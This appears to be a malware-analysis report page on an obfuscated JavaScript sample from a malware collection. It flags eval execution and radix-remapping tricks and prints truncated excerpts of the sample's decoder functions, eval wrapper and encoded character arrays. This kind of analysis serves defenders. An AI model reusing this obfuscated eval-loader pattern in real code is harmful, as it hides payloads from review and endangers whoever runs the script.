Suspicious 80% javascript-malware-collection Download

20151210_d762f56876bba28b8f53b7bc65ca61f7.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment
SHA-2565f9c59af98a739d4601641ef717b1916a35be64e66efb70c21bc90d96754c573

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7
1var YzNDQtvJOyplz=[];
2BedrOpZ=(-462+462)/713;while(true){if(BedrOpZ>=(-25+281)/2){break;}YzNDQtvJOyplz[BedrOpZ]=String.fromCharCode(BedrOpZ);BedrOpZ++;}
3function QScIC(DqUiWyQGMNc,xvGRqgALzlOOL,cfCfRclZ){RFCd=parseInt(DqUiWyQGMNc,xvGRqgALzlOOL);PSzVi=RFCd.toString(cfCfRclZ);return PSzVi;}function zmjaNSVgtIwxgzP(rfyMFjvPZKnChbmFF){eval(rfyMFjvPZKnChbmFF)}
4function CpIDmmszpCffmIWaHAjyCHcEiWYhhMyXXtykVvLPBQMwIEiQjVAFdo(bVcYAZaZjhxZH,uRexsefYDoMKXt){ return YzNDQtvJOyplz[QScIC(bVcYAZaZjhxZH[uRexsefYDoMKXt],(19919+931)/834,(1857+363)/222)];}
5function hlMDvDf(YsfErvWRYadLBrwYyvCmvZDHahBpIoWWSpVr) {return !isNaN(parseFloat(YsfErvWRYadLBrwYyvCmvZDHahBpIoWWSpVr)) && isFinite(YsfErvWRYadLBrwYyvCmvZDHahBpIoWWSpVr);}
6function QKFNTtYXWfC(AkQCfqUC,rAJDCy){return AkQCfqUC.split(rAJDCy)}
7var j=[];j[0]="d";j[1]="a";j[2]="d";j[3]="a";j[4]="4i";j[5]="3m";j[6]="4e";j[7]="17";j[8]="2k";j[9]="17";j[10]="2b";j …
Massive array index assignment line 8
8:4312… ";c[860]="4g";c[861]="4e";c[862]="4l";c[863]="17";c[864]="17";c[865]="4n";c[866]="d";c[867]="a";c[868]="17";c[869]="17";c[870]="17";c[871]="17";c[872]="17";c[873]="17";c[874]="17";c[875]="17";c[876]="17";c[877]="17";c[878]="45";c[879]="42";c[880]="17";c[881]="1f";c[882]="1f";c[883]="1f";c[884]="4a";c[885]="41";c[886]="4j";c[887]="17";c[888]="2i";c[889]="3m";c[890]="4g";c[891]="41";c[892]="1f";c[893]="1g";c[894]="1g";c[895]="2c";c[896]="1n";c[897]="1j";c[898]="25";c[899]="22";c[900]="27";c[901]="23";c[902]="20";c[903]="27";c[904]="20";c[905]="26";c[906]="26";c[907]="26";c[908]="1g";c[909]="1g";c[910]="17";c[911]="4n";c[912]="d";c[913]="a";c[914]="9";c[915]="9";c[916]="17";c[917]="17";c[918]="17";c[919]="17";c[920]="40";c[921]="38";c[922]="1l";c[923]="1m";c[924 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.